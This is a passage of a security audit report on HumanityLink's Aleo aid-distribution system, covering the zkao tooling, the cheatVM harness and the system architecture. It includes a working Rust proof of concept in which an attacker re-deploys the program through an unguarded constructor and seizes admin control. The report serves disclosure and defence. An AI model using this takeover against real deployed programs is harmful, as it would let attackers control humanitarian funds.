# Audit of HumanityLink's Aid Distribution System

- **Date**: June 22nd, 2026
- **Tags**: Aleo, Leo, zkao, JavaScript, Smart Contracts, Backend, Private Transfers

## Introduction

On May 18, 2026, zkSecurity was engaged to integrate vulnerability detection for the Leo programming language and the Aleo program ecosystem into zkSecurity’s recently launched [zkao tool](https://zkao.io/).
As part of this engagement, [HumanityLink](https://humanity.link/)’s Aleo-powered aid distribution system was used as a test target. The review covered its JavaScript backend, frontend, and Leo programs. In addition to integrating Leo with zkao, a significant portion of the engagement was dedicated to understanding the codebase and manually identifying potential vulnerabilities. The engagement lasted four weeks with two consultants.
This report summarizes the integration of Leo support into zkao and presents the security findings discovered through zkao scans of HumanityLink’s codebase, as well as through manual code review.

Note: After the engagement, HumanityLink implemented the recommendations in this report, ran an additional scan with zkao to test the fixes and identify any regressions, and independently triaged all the new findings. zkSecurity aided in this process of using the zkao platform but did not engage any consultants to re-review the implemented changes, since this work falls outside the scope of the original audit.

### Audit Scope

The code for the HumanityLink humanitarian aid platform was shared via a private GitHub repo.
The HumanityLink team fixed the following commit for this engagement: `7eb799726d3bc3832e561cf38aeeda7fdaee4e74`.
The zkao scans and manual code review covered the following subcomponents:

- **backend-on-off-ramp/** Fiat-to-crypto (on-ramp) and crypto-to-fiat (off-ramp) pipeline.
- **backend/** Express.js backend that mediates between the NGO dashboard, the merchant POS app, the WhatsApp onboarding bot, and the Leo programs for on-chain aid issuance.
- **leo/** Aleo programs for privacy-preserving single- and bulk-issuance of USDCx aid.
- **ngo-dashboard/** Next.js dashboard that NGOs can use to manage their aid distribution system (authorize beneficiaries, whitelist merchants, issue aid, etc.).

### Threat Model and Security Assumptions

The audit scope for HumanityLink is based on two core trust assumptions:

- **Single trusted NGO boundary.** The NGO operator, backend, admin, Aleo delegated prover, and Provable scanner are treated as trusted actors. The admin is an all-or-nothing boundary: if the admin is compromised, the whole system is compromised. External rails and configuration, including MoneyGram, Circle/CCTP, IRIS, and deployment configuration, are also trusted as counterparties.

- **Beneficiary privacy.** Privacy protections apply to beneficiary identity and aid amounts against the public chain and truly external parties. However, disclosure to trusted parties, including the NGO operator, backend, Aleo prover/scanner, or USDCx compliance mechanisms, is not treated as a privacy violation. Additionally, merchant identity, balances, and addresses are considered public.

## Methodology

This section describes our workflow at a high level:

1. Run an initial scan with zkao using the latest model and the baseline skill.
2. Validate and triage zkao's findings while, in parallel, manually reviewing the codebase to identify bugs independently.
3. Teach zkao to find these bugs through different techniques like skills, evals, prompt engineering, context engineering, or  additional tooling.
4. Repeat this process iteratively.

This workflow lets us iteratively improve zkao's capabilities on the Aleo/Leo codebase by integrating our human audit knowledge back into zkao's flow. Throughout those workflow steps, we also integrate an Aleo proof-of-concept mechanism and supply all relevant context, such as scope, threat model, and security assumptions, in order to greatly reduce false positives in zkao's results.

The details of this zkao integration process are explained in the next section.

## Leo Integration of zkao

Aleo programs, written in the Leo language and compiled to Aleo Instructions for the snarkVM execution layer, present a threat model that differs substantially from the EVM and from generic ZK circuits. To make zkao effective on Leo code, we worked along two fronts during the HumanityLink engagement: adding Leo-specific audit knowledge into zkao as a reusable skill, and building tooling so that findings on Leo contracts can be demonstrated with executable proofs of concept. Both were developed against HumanityLink's codebase as a live testbed and are now part of zkao's standard toolchain for Aleo audits.

### Aleo Auditing Skill

zkao agents load domain knowledge on demand in the form of skills. We authored a Leo and Aleo auditing skill that gives every flow a shared, vetted understanding of the platform, rather than relying solely on the model's base knowledge, which is comparatively thin given how new the Aleo ecosystem is. The skill is organized into four reference documents:

- **Leo language cheat sheet** covering the parts of the language that matter most for security review: the split between the off-chain proof context and the on-chain finalization context, program structure (records, mappings, entry functions), the call rules, on-chain storage operations, upgradability and constructor behavior, dynamic dispatch, and the protocol limits.
- **An Aleo Instructions reference** for the lower-level AVM representation that is actually deployed and executed on-chain. Auditing the compiled output alongside the Leo source can surface compiler-level mismatches and strips away syntactic sugar that sometimes hides deeper bugs.
- **A snarkVM design-gotchas reference** capturing platform-level guarantees and pitfalls: consensus versioning by block height, the account and address model, the record privacy model, what remains public even when amounts are hidden (existence and the transaction graph), and value-conservation rules.
- **A catalog of Aleo and Leo bug patterns**, the core of the skill. It enumerates recurring vulnerability classes we distilled from the literature and from our own audit reports, each with a detection heuristic and, where useful, a worked example. Representative classes include unguarded initialization and constructor upgrade gates, `self.caller` versus `self.signer` confusion, commitment type confusion, stale on-chain state passed as proof arguments, cross-program finalize TOCTOU, privacy leakage through the finalize block, unchecked versus wrapped arithmetic, records permanently locked when sent to a program address, and attacker-controlled dynamic dispatch.

This knowledge is packaged with an Aleo tool image that mounts into the agent's sandbox, bundling the Leo compiler, a snarkVM source checkout for reference, and the cheatVM harness described below, so an agent can build, inspect, and exploit Leo programs within a single scan.

### cheatVM

A finding is far more convincing when it ships with an executable proof of concept. Leo’s native `leo test` framework is useful for unit-style checks, but it is not a full substitute for adversarial end-to-end testing on a real ledger environment.

For vulnerabilities that depend on multi-account interaction, persisted chain state, deployment behavior, transaction ordering, record handling, or program/dependency resolution, a local Aleo devnet PoC is needed because it exercises the unmodified contract through the same deploy and execute flow used on-chain.

However, producing this kind of end-to-end PoC is more cumbersome than writing a Leo test. It requires setting up and managing a local Aleo devnet, deploying the target program, preparing funded accounts, executing the required transactions in order, and inspecting the resulting chain state. Despite this overhead, a devnet-based PoC is often preferable for exploit demonstrations because it avoids patching the contract or bytecode to force a vulnerable state. Such modifications can contaminate the result and make it unclear whether the issue comes from the original program or from the altered setup.

To close this gap we built **cheatVM**, a cheatcode-enabled execution harness for Aleo, conceptually the equivalent of [Foundry](https://www.getfoundry.sh/) for the Aleo ecosystem. It is a small Rust library that runs on snarkVM's genuine `Process` and an in-memory finalize store, the same execution code paths a validator runs on-chain. Compiled `.aleo` programs are deployed verbatim, with no bytecode patching, so the validity of a proof of concept is replicated as it would execute on-chain.

cheatVM's design centers on a clean separation between fabricated preconditions and the genuine exploit. Authorization-bypassing operations are namespaced behind an explicit `cheats()` accessor with the following available methods:

- `set_mapping()`: writes directly to public finalize state.
- `fabricate_record()`: forges a private record owned by a chosen account.
- `fund()`: gives an account gas for deployment or execution.

Everything outside that namespace runs through real authorization on every transition. A proof of concept therefore reads as a clear narrative: deploy the program, seed the finding's stated preconditions with `cheats()`, act as an unprivileged attacker, and assert the impact, ideally with a negative control showing the same action failing beforehand. A reviewer can see at a glance which state was assumed and which was earned.

This in-process design allows us to orchestrate the entire end-to-end flow of an Aleo transaction within a single Rust test, without the need for local devnet deployment. This makes proof-of-concept development much faster than the conventional approach.

### Result on HumanityLink

During the HumanityLink engagement, the integration of Leo with zkao converted a prior miss into a successful detection. On an earlier scan, with no skill in place, zkao leaned on the model's base knowledge and overlooked the [open-constructor takeover](#finding-H-unguarded-constructors-allow-upgrade), despite the constructor plainly leaving the upgrade path ungated. After we found it manually, we added it, among the other Aleo bug patterns, into the skill, and a later scan surfaced the issue on its own: zkao flagged that the `@custom` constructor never asserts on `self.program_owner`, letting any unprivileged account upgrade and seize the program. The addition of cheatVM then also lets the agent confirm the issue with an executable end-to-end proof of concept, with detailed explanation in the following section.

#### Proof of Concept With cheatVM

The open-constructor takeover is a good example of behavior that a basic `leo test` cannot demonstrate faithfully. The vulnerable action is not an ordinary function call: it is an Aleo program upgrade, where the constructor should reject any `self.program_owner` other than the intended owner. A Leo unit test can exercise functions and finalizers, but it cannot model the ledger deployment path, submit an upgrade as a second funded account, and then prove that the upgraded program now treats that attacker as the owner.

With cheatVM, the proof of concept is the following ordinary Rust test:

```rust
use anyhow::Result;
use cheatvm::Harness;

const V9_PROGRAM: &str = "humanity_link_aid_v9d.aleo";

#[test]
fn open_constructor_upgrade_on_humanity_link_v9_lets_attacker_take_admin() -> Result<()> {
    assert_upgrade_takeover("../leo/v9", V9_PROGRAM)
}

fn assert_upgrade_takeover(project_dir: &str, program_id: &str) -> Result<()> {
    let mut h = Harness::new()?;

    // Model the intended deployer/admin and an unrelated attacker account.
    // Both accounts are fresh and have no contract-level privileges yet.
    let ngo = h.new_account()?;
    let attacker = h.new_account()?;

    // Fund only credits.aleo balances for deployment fees. This is equivalent
    // to gas funding in a local test harness; it does not touch the v9 admin
    // mappings or grant either account any aid-contract authorization.
    h.cheats().fund(&ngo, 1_000_000_000_000)?;
    h.cheats().fund(&attacker, 1_000_000_000_000)?;

    // Load the full production Leo project, including its compiled imports.
    // `load_project` deliberately leaves the main program undeployed so this
    // test can use `Harness::deploy`, the real snarkVM deployment/finalization
    // path that executes constructors.
    let program = h.load_project(project_dir)?;

    // Initial deployment: the NGO is the program owner, so the constructor sets
    // admin_address[0u8] to the NGO address.
    let initial_edition = h.deploy(&program, &ngo, &ngo)?;
    assert_eq!(initial_edition, 0);
    assert_eq!(
        h.get_mapping(program_id, "admin_address", "0u8")?
            .unwrap()
            .to_string(),
        ngo.address.to_string(),
        "initial deployment should set NGO as admin",
    );

    // Negative control: before the malicious upgrade, the attacker is not the
    // stored admin and cannot call an admin-only function.
    h.execute(&attacker, program_id, "pause", &[])?
        .expect_rejected();

    // Attack: because the constructor is upgradeable, the attacker can submit
    // an upgrade with themselves as `program_owner`. The constructor runs again
    // during deployment finalization and overwrites admin_address[0u8].
    let upgraded_edition = h.deploy(&program, &attacker, &attacker)?;
    assert_eq!(upgraded_edition, 1);
    assert_eq!(
        h.get_mapping(program_id, "admin_address", "0u8")?
            .unwrap()
            .to_string(),
        attacker.address.to_string(),
        "upgrade reran the constructor and replaced admin with attacker",
    );

    // Impact: after takeover, the same attacker call now finalizes and changes
    // the paused flag, demonstrating practical control over admin-only paths.
    h.execute(&attacker, program_id, "pause", &[])?
        .expect_finalized();
    assert_eq!(
        h.get_mapping(program_id, "flags", "0u8")?
            .unwrap()
            .to_string(),
        "true",
        "attacker can now exercise admin-only controls",
    );

    Ok(())
}
```

The important property of this PoC is that the vulnerable program is not patched and no mock constructor is written. The only fabricated state is gas funding through `cheats().fund`; the takeover itself is performed through `deploy`, which runs snarkVM's real deployment finalization and therefore the real constructor. The negative control shows that the attacker was not already privileged before the upgrade, and that the successful `pause` call is a consequence of the constructor accepting the attacker's upgrade.

This is the operational value of combining the skill with the toolchain: the skill makes the pattern repeatably detectable, while cheatVM turns the finding into a concrete execution trace against the unmodified Aleo program.

## System Overview

HumanityLink's aid distribution system enables NGOs to send humanitarian monetary aid in a way that maximizes beneficiary privacy.
An NGO first funds the system with donor USD, beneficiaries receive that aid as private USDCx stablecoins on the Aleo blockchain and spend it at local merchants, and those merchants ultimately convert the earned USDCx to local fiat currency via a MoneyGram off-ramp.
In this section, we will give an overview of the system's various subcomponents. 

### On-Chain Leo Programs

The on-chain component of HumanityLink's aid distribution system consists of two Leo programs:

- **`humanity_link_aid_v9d.aleo`** This is the core contract. It tracks the on-chain administrative state (program admin, authorized issuers, whitelisted merchants, etc.) and performs the main monetary operations: issuing aid, spending at merchants, the two off-ramp paths, settlement, and emergency sweeping.
- **`humanity_link_bulk_v9d.aleo`** A helper program that exists only to issue aid to many recipients in a single transaction by repeatedly calling the core program's `issue_aid` function.

For brevity, we'll refer to these programs as **`v9`** and **`v9bulk`**, respectively.

#### USDCx Records as HumanityLink's Aid Token

The system issues aid in the form of the [USDCx stablecoin](https://aleo.org/usdcx/).
More specifically, aid is issued as `Token` records as defined by the `usdcx_stablecoin.aleo` program's `Token` record type.
This is a deliberate simplification over earlier versions of the system, which wrapped aid in a dedicated `AidRecord` abstraction.
In `v9` and `v9bulk`, this wrapper has been removed, and aid is now issued as plain USDCx.

Note that by design of [Aleo's record model](https://aleo.org/post/aleo-record-model-secure-efficient-blockchain/), a `Token` record is **private**:
it is an encrypted, UTXO-style holding owned by a single Aleo address and can (by default) be decrypted only by the owner.
In particular, a beneficiary's aid balance is *not* public but a set of private records that only the beneficiary's view key can decrypt.

Besides the `Token` record, two further types from the USDCx program appear a lot in `v9` and `v9bulk`, so it's worth knowing what they are.

- `ComplianceRecord` is emitted alongside every private USDCx transfer. As a "compliance token", USDCx uses this record to capture the parties and amount of a transfer for off-chain compliance and audit purposes. 
- `MerkleProof` is always supplied as a fixed length-2 array `[MerkleProof; 2]`, and is what the USDCx stablecoin program requires to move funds privately. USDCx maintains a freezelist of sanctioned addresses, which is published as a Merkle root by USDCx's `usdcx_freezelist.aleo` helper program. Every private transfer must carry non-inclusion proofs for both the sender and the recipient (i.e., proofs that these addresses are not included in the freezelist), which the USDCx program checks against the current freezelist roots.

Notice that USDCx's `ComplianceRecord`s represent an important caveat to the above-mentioned privacy guarantees of the `Token` records:
while a beneficiary's `Token` records themselves are indeed only decryptable with the beneficiary's view keys of these records, the corresponding `ComplianceRecord`s can still give away the transfer details to the owner of the compliance address (`aleo1l4s8l9fkl0rughvj0qzv3hduzr2ktpwgmwyue3ehkdrgtdl9vgys4xyw23`) that is hard-coded in [USDCx's program code](https://explorer.provable.com/program/usdcx_stablecoin.aleo). That's, of course, by design, but it is an important subtlety to be aware of.

Another consequence of issuing aid as USDCx records is that `v9` and `v9bulk` are both subject to USDCx's own pause switch and freezelist, which are independent from the aid system's own pause- and allowlist-mechanisms. In particular, a transfer can fail because the stablecoin is paused or because an address is USDCx-frozen, entirely separately from the aid system's own pause flag. This is, again, by design, but still something to keep in mind. 

#### Function Execution in Leo 4.0

`v9` and `v9bulk` both target Leo 4.0, which is the most recent major release of the Leo language.
The biggest surface-level change in 4.0 is the unification of all function declarations under a single `fn` keyword.
As a consequence, functions in Leo 4.0 look quite different from functions in Leo 3.5.
For this reason, we briefly explain how function execution works for HumanityLink's `v9` and `v9bulk` programs.
(For more details, we refer to the [Leo 4.0 release notes](https://github.com/ProvableHQ/leo/releases/tag/v4.0.0).)

In Leo 4.0, each function is declared using the `fn` keyword, and split into an **off-chain body** and an **on-chain `final` block**.
As a concrete example, consider `v9`'s `issue_aid` function:

```rust
fn issue_aid(recipient: address, amount: u64) -> (... , Final) {
    assert(amount > 0u64);                          // off-chain: runs during proving
    let (compliance, token, f0) = usdcx_stablecoin.aleo::transfer_public_to_private(...);
    let caller: address = self.caller;
    return (compliance, token, final {              // on-chain: runs at settlement
        f0.run();
        let is_paused = Mapping::get_or_use(flags, 0u8, false);
        assert(!is_paused);
        let is_authorized = Mapping::get_or_use(authorized_issuers, caller, false);
        assert(is_authorized);
        ...
    });
}
```

The body runs when the transaction is *proved* (off-chain, by the prover). 
It can read the function inputs and the caller's identity, perform input validation, and invoke other programs, but it cannot read or write program state, because state only exists on-chain.
Anything that depends on or modifies state lives in the `final` block, which the network executes when the transaction settles into a block.

When a function calls into another program (such as `v9`'s `issue_aid` calling `usdcx_stablecoin`'s `transfer_public_to_private`), that call returns a `Final` handle (the `f0` above).
Invoking `f0.run()` inside the `final` block is what actually executes the callee's on-chain half. So in `issue_aid`'s `final` block, `f0.run()` settles the underlying USDCx transfer, and the authorized-issuer and pause checks follow it within the same block.

#### The `v9` Program

The `v9` program represents the core on-chain component of HumanityLink's aid distribution system.
Its functions can be divided into four groups:
admin functionality, aid issuance, spending, and off-ramping.

##### Admin Functions

All of the following `v9` functions can be invoked only by the program's `admin_address`, which is set during deployment.
Most of them are simple setters for the program's state variables:

- **`transfer_admin`** transfers the admin role to a new address.
- **`authorize_issuer`** / **`revoke_issuer`** adds or removes an address from the list of `authorized_issuers`.
- **`whitelist_merchant`** / **`revoke_merchant`** adds or removes an address from the list of `whitelisted_merchants`.
- **`set_bridge_address`** updates the destination for merchant off-ramps.
- **`set_merch_offramp_period`** and **`set_min_merch_offramp`** adjust the merchant off-ramp cooldown period in blocks (default `17280` ≈ 24h) and the minimum off-ramp amount (default `6_000_000` = $6).
- **`pause`** / **`unpause`** flip the program's global pause flag.

The remaining two admin functions are more than simple setters:

- **`sweep_vault(amount, recipient)`** is an emergency drain of the contract's public USDCx balance.
- **`settle_merchant(merchant, amount)`** decrements `merchant_vault[merchant]` by `amount`. It moves no USDCx since the corresponding tokens were already transferred during the merchant's off-ramp. Instead, it's a pure accounting function that is called per merchant once the corresponding fiat payout is successfully processed. (We will explain this off-ramp flow in greater detail in the upcoming sections.)

##### Aid Issuance

The `v9` program allows `authorized_issuers` to distribute USDCx aid via three different functions: `issue_aid(recipient, amount)`, `bulk_issue_2(...)`, and `bulk_issue_4(...)`. 

Issuance via `issue_aid` turns a certain amount of the program's public USDCx into a private record owned by a beneficiary. It calls the USDCx program's `transfer_public_to_private(recipient, amount)` function, and its `final` block asserts `v9` is not paused and that the caller is in the list of `authorized_issuers`. Lastly,  the function adds the issued amount to the `total_issued` state variable.

It's important to note here that the USDCx comes from the aid program's public balance, and not from the issuer's account.
In particular, the NGO must first fund the program's public USDCx balance, so that issuance can then move value from that program-held public pool into beneficiaries' private records.

`bulk_issue_2` and `bulk_issue_4` are the same operation repeated two or four times in one transaction, summing the amounts into a single `total_issued` state update.
Larger batch issuances are not supported by `v9`, but by the companion bulk program `v9bulk`, for reasons we will explain below in the section on `v9bulk`.

##### Spending and Beneficiary Off-Ramp

The `spend(token, proofs, merchant, amount)` and `offramp_beneficiary(token, proofs, merchant, amount)` are structurally identical.
Each takes the beneficiary's `Token` record, two USDCx freezelist non-inclusion proofs, a merchant address, and an amount.
Both functions call `transfer_private(merchant, amount, token, proofs)` on the USDCx program, which produces a new `Token` record for the merchant as well as a change `Token` record for the beneficiary.

The *only* difference between them is which counter they increment:
`spend` bumps the`total_spent` state variable, while `offramp_beneficiary` bumps the `total_ben_offramp` state variable.
A "spend" represents a beneficiary buying goods from the merchant (e.g., food), while `offramp_beneficiary` represents a beneficiary handing USDCx to a merchant in exchange for local cash.

##### Merchant Off-Ramp

`offramp_merchant(token, proofs, amount, bridge_addr)` is `v9`'s entry point for value leaving the system.
A merchant converts their private USDCx records into public USDCx parked at the bridge address, from where a nightly off-ramp pipeline later sweeps it toward fiat.
More specifically, `offramp_merchant` calls `transfer_private_to_public(bridge_addr, amount, token, proofs)` on the USDCx program, which converts the merchant's private `Token` records into public USDCx according to the specified `amount` and also creates a corresponding change record for the merchant.
The `offramp_merchant` function's `final` block enforces the following conditions:

- The program is not paused.
- The merchant is whitelisted.
- The amount is at least the admin-configured minimum.
- The supplied `bridge_addr` equals the admin-configured `bridge_address[0u8]`.
- The merchant off-ramp cooldown period has ended, i.e., at least `clocks[0u8]` (default `17280` ≈ 24h) blocks have passed since this merchant's last off-ramp.

On success the function records `block.height` as the merchant's latest off-ramp, adds the amount to both `total_merch_offramp` and `merchant_vault[merchant]`, completing the bookkeeping that `settle_merchant` will later unwind.

##### On-Chain Flow of USDCx Aid

<div style="text-align: center; margin-top: -7rem; margin-bottom: -7rem;">
  <img src="/img/reports/humanitylink-1/usdcx-flow.png" alt="On-Chain USDCx Flow" style="width: 100%;">
</div>

As indicated in the above diagram, the privacy of the USDCx funds changes during the money flow:
public to private at issuance, private to private at spend / beneficiary off-ramp, and private to public at the merchant off-ramp.

#### The `v9bulk` Program

The `v9bulk` helper program allows the system to bulk-issue to a higher number of recipients.
More specifically, it provides authorized issuers with two more bulk-issuance functions: `bulk_issue_8` and `bulk_issue_15`.
As of version 4.0, Leo's function inputs and outputs are both capped at 16, so implementing, say, `bulk_issue_8` in the exact same way as `bulk_issue_2` would exceed Leo's maximum number of function outputs.
The `v9bulk` program works around this limitation by 

1. struct-packing the function inputs (recipient addresses and amounts) into a `Recipient` struct that can capture both, a given recipient's address as well as the corresponding amount, and
2. just returning the token records rather than also explicitly returning the compliance records, which are created when calling USDCx's `transfer_public_to_private`.

The reason `bulk_issue_15` supports only 15 recipients rather than 16 is that `Final` also counts towards the 16 outputs cap.

#### A Note on Upgradability

Both `v9` and `v9bulk` make use of Leo's built-in [upgradability framework](https://docs.leo-lang.org/guides/upgradability).
The programs have upgrades enabled and implement custom upgrade logic using the `@custom` constructor annotation.
We will discuss HumanityLink's current upgrade logic in detail in our [finding on unguarded constructors](./#finding-H-unguarded-constructors-allow-upgrade).

### NGO Backend

The `/backend` is an Express.js application, and is backed by a Postgres database.
In this subsection, we'll give an overview of the different layers a request passes through and discuss the backend's routes at a high level.

Every backend request flows through the same three layers.
A **route** validates the request shape and unpacks the body, a **service** carries out the business logic (including any transactions on Aleo), and a **repository** is the layer that interacts with the database.
In particular, the translation from HTTP call to signed Aleo transaction happens almost entirely in the service layer, and within it almost entirely in one place, namely the `aleoExecuteService`.

We start our description of the backend by providing an overview of the different routes.

#### API Endpoints

**Health**

| Method | Endpoint | Description |
|---|---|---|
| GET | `/` | Health check |

**Beneficiaries**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/beneficiaries` | Register new beneficiary |
| GET | `/beneficiaries` | List all with balances |
| GET | `/beneficiaries/:shortId` | Get one by ID |
| GET | `/beneficiaries/:shortId/view` | HTML page with QR code |
| POST | `/bulk-register` | CSV upload to register many |
| POST | `/bulk-allowlist` | CSV upload to add to allowlist |
| GET | `/allowlist` | List allowlisted phone numbers |
| DELETE | `/allowlist/:id` | Remove from allowlist |

**Merchants**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/merchants` | Register new merchant |
| POST | `/merchants/verify` | Verify POS credentials |
| GET | `/merchants` | List all |
| GET | `/merchants/:shortId` | Get one by ID |
| GET | `/merchants/:shortId/balance` | Merchant pending balance |
| POST | `/merchants/:shortId/whitelist` | Whitelist |
| DELETE | `/merchants/:shortId/whitelist` | Remove from whitelist |
| POST | `/merchants/:shortId/regenerate-token` | Reset POS device token |

**Aid**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/aid/issue` | Issue aid to one beneficiary |
| POST | `/aid/bulk-issue` | Bulk issuance |
| GET | `/aid/bulk-preview` | Dry-run bulk issuance plan |
| POST | `/aid/bulk-credits` | Send credits to many beneficiaries |
| POST | `/aid/bulk-credits-merchants` | Send credits to many merchants |
| GET | `/aid/balance/:shortId` | Beneficiary balance |
| GET | `/aid/history/:shortId` | Beneficiary aid history |

**Payments**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/payments` | Process payment |
| POST | `/payments/offramp` | Trigger payment + immediate off-ramp |

**Off-ramp**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/offramp` | NGO-triggered off-ramp |
| POST | `/offramp/merchant` | Per-merchant off-ramp |

**Stats**

| Method | Endpoint | Description |
|---|---|---|
| GET | `/stats/dashboard` | NGO dashboard aggregates |
| GET | `/stats/spending-by-type` | Spending breakdown |
| GET | `/stats/activity` | Daily/weekly activity |
| GET | `/stats/transactions` | Recent transactions |
| GET | `/stats/all-transactions` | Paginated full history |
| GET | `/stats/vault-chain` | On-chain vault flow stats |
| GET | `/stats/vault` | DB-derived vault stats |

**Admin**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/admin/transfer` | Transfer admin role |
| POST | `/admin/authorize-issuer` | Authorize issuer |
| POST | `/admin/revoke-issuer` | Revoke issuer |
| POST | `/admin/whitelist-merchant` | On-chain whitelist |
| POST | `/admin/revoke-merchant` | On-chain revoke |
| POST | `/admin/set-bridge-address` | Set bridge account |
| POST | `/admin/set-merch-offramp-period` | Settlement period config |
| POST | `/admin/set-min-merch-offramp` | Minimum off-ramp amount |
| POST | `/admin/settle-merchant` | Settle specific merchant |
| POST | `/admin/sweep-vault` | Sweep NGO vault |
| POST | `/admin/fund-program` | Fund the program account |
| POST | `/admin/pause` | Emergency pause |
| POST | `/admin/unpause` | Resume operations |
| POST | `/admin/bridge-usdcx` | Bridge USDCx to Ethereum |
| POST | `/admin/send-credits` | Send credits to single recipient |

**Exchange rate**

| Method | Endpoint | Description |
|---|---|---|
| GET | `/exchange-rate` | COP/USD rate |

**Export**

| Method | Endpoint | Description |
|---|---|---|
| GET | `/export/xlsx` | NGO data export as Excel |

**Support**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/support/report` | Submit a problem report |

**WhatsApp**

| Method | Endpoint | Description |
|---|---|---|
| POST | `/webhook/whatsapp` | Twilio inbound webhook (handles text, voice, media) |

#### Service Layer

The services implement the backend's business logic, and fall into three groups.

**Execution on Aleo.** 
Every state-changing transaction passes through the `aleoExecuteService`. 
Since generating the zero-knowledge proofs for transactions on Aleo is computationally expensive, the service [delegates proving](https://docs.aleo.org/learn/advanced/delegated-proving/index.html) to Provable.
The service exposes one function per on-chain operation:
`executeIssueAid`, `executeSpend`, `executeMerchantOfframp`, a wrapper for each admin function, and `executeBulkIssueN`, which packs an arbitrary number of recipients into the largest available bulk transactions (the 15-, 8-, 4-, 2-, and 1-recipient issuance functions of `v9` and `v9bulk`, respectively).
Besides the `aleoExecuteService` for *writing* on-chain state, there are also two query services (`aleoQueryService` and `aleoQueryServiceWithScan`) for *reading* on-chain state.
Furthermore, the backend includes a `tokenJoinService`, which is used to merge `Token` records on Aleo whenever the individual records are not large enough to cover a payment. 

**Domain Services.**
These services sit between the routes and the execution services.
`issueAidService` and `offrampService` orchestrate the issuance and payment flows, `beneficiaryService` and `merchantService` handle registration and lookups, and `merchantOfframpService` handles the on-chain merchant off-ramp (e.g., fetching the freezelist Merkle proof that transfers of private USDCx records require).

**Communications.**
The `whatsappService` and the larger `botService` run the backend's WhatsApp channel, which is the primary way beneficiaries interact with the system.
`ttsService`, `voiceService`, and `staticAudioService` are used for text-to-speech and transcription via [ElevenLabs](https://elevenlabs.io/).
`gcsService` stores KYC photos collected during registration in Google Cloud Storage, and `supportEmailService` and `whatsappReportService` handle the support flow.

#### Data and Custody

The database layer is reached through the following repositories:
`beneficiaryRepo`, `merchantRepo`, `transactionRepo`, `allowlistRepo`, `supportTicketRepo`, and `aidRecordRepo`.
**In the current version of the system, all keys are held by the backend's database.**
In particular, this includes the private keys of beneficiaries and merchants.
More specifically, the `beneficiaries` table stores each beneficiary's Aleo private key and view key alongside their phone number and KYC details (such as the cloud storage paths to their ID photo).
The `merchants` table stores a private key, a view key, and the `device_token` that identifies the merchant's POS.
In other words, the current custodial model of the system is that every signing flow eventually involves the backend reading the relevant keys from the Postgres database, and signing transactions on behalf of beneficiaries and merchants.
For now, this design decision was made so that both merchants and beneficiaries cannot lose their funds by accidentally losing their private key.

#### Example Flow: Issuing Aid

As a concrete example, let's consider a single aid issuance.
First, the NGO issuer calls `POST /aid/issue` through the NGO dashboard, providing a beneficiary's short ID and an amount.
The route hands the request off to  `issueAidService.issueAid`, which looks up the beneficiary, and calls `executeIssueAid` with the NGO's private key.
That signs and submits an `issue_aid` transaction on `v9` through Provable, converting the specified amount of USDCx from the `v9` pool's public balance into a private `Token` record owned by the beneficiary.
On confirmation, the service records an `issue` row in `transactions` and refreshes the beneficiary's cached stats.

### Cross-Chain On-/Off-Ramp Pipeline

The aid system's `/backend-on-off-ramp` component consists of three subcomponents:

1. The NGO's **Ethereum vault contract**, which is the entry point through which an NGO's USDC funds reach the bridge to Aleo.
2. An **on-ramp orchestrator**, which is an always-on process that watches the NGO's Ethereum vault for inbound USDC and bridges it to Aleo.
3. An **off-ramp pipeline**, which is a nightly batch job that converts accumulated merchant balances on Aleo to physical cash via [MoneyGram](https://www.moneygram.com/us/en/ramps).

#### The On-Ramp Pipeline

##### The HumanityLink Vault Contract

In order to on-ramp funds to the aid distribution system, each NGO has a deployed instance of the `HumanityLinkVault` contract on Ethereum.
The intended funding path is that the NGO buys USDC on the Kraken crypto exchange and sends it as an ordinary ERC-20 transfer to the vault's address.
In particular, there is no `deposit()` function on the vault contract.
Instead, the vault simply accumulates whatever USDC is sent to it and provides an operation to move it onward, namely the `bridge()` function.
That function is only callable by the contract's `operator`, i.e., the on-ramp orchestrator.
When called, it will first approve Circle's xReserve for a given `amount` and subsequently call `depositToRemote()` on the xReserve contract, specifying details like the NGO's `ALEO_RECIPIENT` as input parameters.
This will lock the USDC funds in Circle's xReserve and simultaneously create an allowance to mint a corresponding amount of USDCx on Aleo.
(More on that below.)

Besides the core `bridge()` function, the vault contract provides admin-gated setter functions (e.g., for transferring contract ownership or the operator role) as well as an `emergencyDrain()` function that allows the NGO to withdraw all USDC currently held by the vault in the case of decommissioning of the vault or when funds need to be recovered manually (e.g., xReserve is down, Aleo recipient compromised).

##### The On-Ramp Orchestrator Process

The on-ramp orchestrator is implemented in `Onramporchestrator.js`.
On start-up it loads the list of vault addresses to watch, replays any USDC `Transfer` events it may have missed while down, and then subscribes to live events.
Then, whenever the NGO deposits new USDC into the vault, the orchestrator calls `bridge()` to transfer the funds to xReserve.

However, this by itself is not enough to complete the on-ramp:
Circle's xReserve accepts the deposit on the Ethereum side, but the Aleo-side mint only happens once a corresponding request is made to the Aleo Network Facilitator (ANF) mint API.
After the `bridge()` transaction confirms, the orchestrator therefore POSTs the corresponding Ethereum transaction hash to the ANF mint API via the `registerMint(ethTxHash)` function, which then executes the USDCx mint on Aleo.

#### The Off-Ramp Pipeline

The off-ramp pipeline is implemented by the `sweep_and_offramp.mjs` script.
The diagram below illustrates the process.

<div align="center";>
  <img src="/img/reports/humanitylink-1/offramp.png" alt="Off-ramp" width="100%">
</div>

The `sweep_and_offramp.mjs` script runs once a night, and turns the USDCx that merchants have earned on Aleo into local cash that they can collect at a MoneyGram counter.
The script first totals how much each merchant is owed according to `v9`'s `merchant_vault` ledger (whose entries are filled/increased whenever merchants request an off-ramp via `v9`'s `offramp_merchant` function).
These funds are then bridged off Aleo and to Ethereum (via Circle's xReserve), and further bridged from Ethereum to Stellar (via Circle's Cross-Chain Transfer Protocol (CCTP) v2).
The reason the extra step of bridging to Stellar is necessary is that Stellar is currently the only blockchain that MoneyGram supports for their off-ramp service.

The final step of the off-ramp process pays the merchants and reconciles the on-chain bookkeeping.
Each merchant receives a WhatsApp message with a link to complete an identity check, and once they do, their share of the cash is sent to MoneyGram and they are texted a pickup reference.
Once the merchant's payout succeeded, the off-ramp script clears the merchant's on-chain balance in the `merchant_vault`. 
### NGO Dashboard

